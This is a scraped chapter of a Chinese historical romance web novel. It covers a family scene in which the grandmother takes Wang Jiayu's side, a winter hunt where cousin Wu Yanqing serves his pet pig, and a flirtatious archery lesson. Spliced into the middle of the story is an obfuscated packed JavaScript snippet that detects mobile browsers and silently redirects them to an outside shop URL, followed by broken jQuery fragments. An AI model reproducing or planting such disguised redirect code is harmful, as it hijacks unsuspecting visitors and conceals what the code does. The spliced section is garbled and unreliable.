文趣网 > 其他小说 > 豆蔻梨雪 > 23. 第 23 章
    打猎。

    王嘉玉来了兴趣。

    以前王明洪也说过,但那时还在夏日,被孙氏拦住了。

    现在是冬天。

    冬猎是最安全的,因为长虫什么的都陷入冬眠,野外再危险,危险的不过也就几只灌狐。

    这次吴氏做主,王明水、王嘉秀、王嘉梨和王嘉玉,都跟着吴言庆去了。

    王嘉玉不常去外面,一般都是轿子抬着出门,轿子抬着回来。不止是她,王嘉秀王嘉梨也是如此。

    因而姐妹三个特别兴奋,一早就准备好了中午的餐点,还央求着老封君从库房里给她们寻出漂亮的帷帽。

    老太太最宠她们这些小辈,乐呵呵地就让人拿着库房钥匙去找。一边找一边拍着王嘉玉的手背道:“打猎就要穿红好看,别听外面那些人闲言碎语,咱这没有守孝就要整天愁眉苦脸的规矩。”

    “要老身说,将来哪怕我死了,也不要耽误你们姐妹几个出嫁为好,你们该过过,我这年龄怎么葬都是喜葬。”

    王嘉玉爱极了这老太太的好精神,嘴甜道:“孙女情愿一辈子不出嫁,陪祖母打趣逗乐。”

    “呸呸,”老太太笑道:“哪有年轻的女郎这么说的。”她摸了摸王嘉玉的衣服:“怎么摸着不像是这月新做的,咱们家的女儿哪有穿旧衣服的。”

    “你母亲虽然不在了,可你伯母叔母都是亲的,便是她们对你不好,我这老骨头却还硬着,这家里谁敢对你不敬,你尽管来说。”

    “对了,”老太太似想起了什么,笑眯眯地往回看,正正好看见郝氏放慢几步缩到人后,于是又回身问王嘉玉:“前月拨银子给你叔母,叫她寻人给做几身外裘,你穿上可觉得合身?”

    王嘉玉抿嘴笑。

    她知道老太太心里什么都门清,今天特地给她出头。只可惜老太太能出这个头,她却不能真做这个恶人。

    于是也瞥了眼神色惶惶的郝氏,王嘉玉挽着老太太胳膊:“您库里有那么多好料,拿钱买都买不到,我精着呢,才不要被您仨瓜俩枣的打发掉,我和叔母说了,只挑您库里的,旁的都看不上。”

    郝氏这才松出一口气,看神情,对王嘉玉这个小辈竟有些许感激。

    老太太摇头:“我看你却是个傻丫头,哪有自己说自己精的。好吧好吧,正好开了库房,我记得有件太妃赏的红裘,毛色极好,一直放着没人动,今天碰上你这貔貅了,也算是清灰了。”

    “我能从您手里得了太妃的赏物,”王嘉玉笑道:“也就您疼我,还说我傻了。”

    吴氏捂嘴笑:“老封君不疼你疼谁?姜还是老的辣,老封君吃不了亏,你信不信,等你走后,你叔母就得给老封君把账平上。”

    郝氏原本没这个打算,但现在也只好打落牙往肚子里吞,连忙附和了几声,把老太太哄高兴了。

    真是偷鸡不如啄把米!

    郝氏暗暗咬牙,心疼消失的银子。

    过了会儿,三个年轻的女郎穿戴齐整,踏上轿子,见天色已经大亮,吴言庆就带着人出发了。

    打猎的地方在郊外,从城内到郊外轿子要行一个时辰。王嘉玉没有小时候那么跳脱,闭眼仰头睡了一程。

    到了地方近午时,王家人饮食特别规律,一般这个时候就开始有些饿了。好在吴言庆早有准备,让几个仆役把烤炉和架子搭好。

    没狩猎,先吃起了带出来的东西。

    “这猪肉肥美,哪来的?”

    这年头猪肉对于王家来说倒不奢侈,只是难吃。猪肉腥臊,王嘉玉不爱,可吴言庆带来的猪肉或许是被烤了又或许是腌制的料特殊,王嘉玉吃着觉得喜欢,居然破天荒地又添了一碗饭。

    吴言庆眼睫微颤,扫她一眼。

    这就是姑姑口里那个,胃口不大好的人?

    他怎么看不出来。

    “你不是一直想见桃桃吗?这就是桃桃。”

    他随口答道。

    王嘉玉放下了手中的筷子,她若没记错…看着吴言庆:“表兄,你把你的爱宠,煮了?”

    之前听吴言庆养了一头猪,王嘉玉问过几次,但吴言庆宝贵的紧,一直不让她见。

    没想到峰回路转,居然是这么个走向。

    吴言庆淡淡道:“豚是家畜,养来本就是为了吃。”

    好朴素的觉悟。

    朴素到完全不能想象这居然是个世家子弟说的话。

    王嘉玉从小生活在只谈风月的世家。以她小叔王守为例,如果是王守养了这头猪,恐怕会把猪打扮得珠光宝气,然后牵上街,吸引世人目光。

    猪就会成为象征着他名士风度,特立独行的一种媒介。

    一开始,王嘉玉听说吴言庆那天养豚,心里也没什么意外,不过是把吴言庆一道划进了这样的世家人里。

    别说养猪了,只要能和别人不一样,养虎养羊的也常有。

    世家子弟,她见多了,闭着眼也猜出是什么秉性。

    包括她自己,不外乎也是如此。

    为名为利,戴上假面。

    圆滑是为了得到称赞,讥讽旁人也是。

    所以她从头起就很不喜欢这个吴表兄,就是因为她把他当成了那种为了扬名,所以故意刻薄地讥讽人的人。

    可相处几天下来,王嘉玉发现,吴言庆的刻薄是刻在骨子里的,不是特意为了谁。

    好吧,这么说吴言庆好像更讨厌了,纯粹以取笑旁人为乐。

    而现在,她好像又看见了他的另一面。

    “表兄,”王嘉玉眼神亮晶晶的,她捧着脸:“你养的猪居然比农家养的还要好,好厉害。”

    吴言庆:“…”

    “谁告诉你,是我亲自养的?”

    吴言庆戳破王嘉玉的仰望:“你们王家贵为大族,别告诉我可怜到几个精通养豚术的家仆都找不到。”

    还是把这人嘴巴堵上吧。

    王嘉玉衷心祈祷。

    另一边,王明水恨不得把头都埋进肉堆里,世家修养早被他忘了一干二净。对于吴言庆的鄙夷他也闻若未闻,甚至吃到中途抬起头,饭粒和汤汁都溅在脸上,然后厚着脸皮讨要:

    “表兄既有这样会养豚的家仆,不若给兄弟一两个。”

    当然是没被答应。

    吴言庆讥讽道:“做什么美梦,脸呢?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598492|203597||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    酒足饭饱,几人才正式开始狩猎。

    即狩猎,就该有彩头。可惜王明水骑技不好,和吴言庆这种自幼在陇东草莽地长大的没得比,两人也比猎一场,结局以王明水被拉踩得很惨告终,惨到连亲姐王嘉秀都开始关切他幼小的心灵了。

    为了鼓舞王明水打起精神,王嘉秀王嘉梨两姐妹,就跟在他后面要他教骑射。

    给人点事干,就来不及悲伤了。

    一时只有吴言庆一个人坐在马上,无聊地打转儿。

    王嘉玉看着他的模样,又看了看身前的红枣马。马上绑着箭袋和长弓,一看就是为了狩猎准备的。

    她骑过马,并不算太难。

    于是王嘉玉翻身上马,两指并在箭上,作出一个向后拉的动作,弓箭对着吴言庆的咽喉。她想吓吓这个人。

    可吴言庆面不改色,似乎一点也不怕她把弓箭脱手。

    吴言庆听见王嘉玉哈哈大笑。

    她原来也会这么放肆地笑。

    女郎笑靥昭昭,是只有洛阳才能养出的国色天香。

    “你懂骑射?”

    吴言庆问道。

    “表兄,你猜呢?”

    王嘉玉记性不好,对于不重要的事总是过目即忘。可亲近她的人都知道,她若想记什么,目之所及,过目不忘。

    刚刚吴言庆和王明水的比试,她看得目不转睛。

    所以眼下,她虽然做不到一下就百步穿杨,模仿出一个大概却不难。

    “不猜。”

    吴言庆双腿夹着马腹,腰身板直,慢悠悠地荡到王嘉玉身后。他今天的骑装很干练,宽肩窄腰,发丝被一根串碧玉的红绳系紧,英姿勃发。

    脸在明晃晃的日光下,还是雪一样的冷艳。

    可他的手很热。

    王嘉玉能感觉到。

    因为他的手,不知什么时候,已经搭在了她的手上,两个人肌肤相接,前所未有的暧昧。

    吴言庆靠近她,半圈着她,他的呼吸就在她耳边,轻得像夜间鬼魅,“你姿势错了,弓,要这么拉——”

    咻的一声,长箭破空,正正好猎住一只奔走的土兔。

    王嘉玉感觉脸蛋有点烫。

    好险,她总能从吴言庆身上感受到一种失控。

    她身边所有人,只有吴言庆给她这样的感觉。

    “你…”王嘉玉吞下唇齿间那句离得太近,她看着远处尚未注意到这边动静几人,忽然往后一仰。

    她不想每次都被吴言庆牵着走。

    以牙还牙,以齿还齿。

    她要让他知道,她不是那么好调戏的。

    猝不及防,女郎的馨香盈满了整个鼻腔。吴言庆下意识地收紧手臂,软玉入怀。远看两人几乎是抱在了一起。

    咚、咚、咚。

    是他的心跳,还是她的?

    “吴表兄,”吴言庆听见王嘉玉的嘲笑:“原来你也只是个凡夫俗子。”

    那端庄的女郎抓着他的手臂,红唇艳媚,气吐如兰:

    “表兄缘何心跳得这么快?”

    她说话的声音像羽毛,在人心里扫来扫去。